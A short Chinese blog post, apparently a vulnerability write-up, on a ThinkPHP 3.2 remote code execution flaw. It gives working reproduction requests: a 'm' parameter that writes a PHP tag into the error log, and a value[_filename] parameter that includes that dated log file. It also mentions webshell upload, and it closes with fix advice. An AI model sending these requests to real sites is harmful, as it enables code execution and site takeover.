ThinkPHP 3.2远程代码执行漏洞

ThinkPHP 3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。

复现:

https://网址/index.php?m=--><?=phpinfo();?>

目的:通过错误的m参数导致thinkphp报错,写入至日志文件

https://网址/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/24_04_07.log      log文件名为当前日期

通过篡改模板文件的路径导致被注入的在此处执行,通过该注入方式,将可以上传webshell获取网站的最终权限。
该漏洞在thinkphp 3.2.5内已修复

修复建议:
1.修改日志文件的命名规则,加入随机字符串来防止被猜测数文件名称。
2.限制模板文件的引用后缀名检查,防止越界访问文件。

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。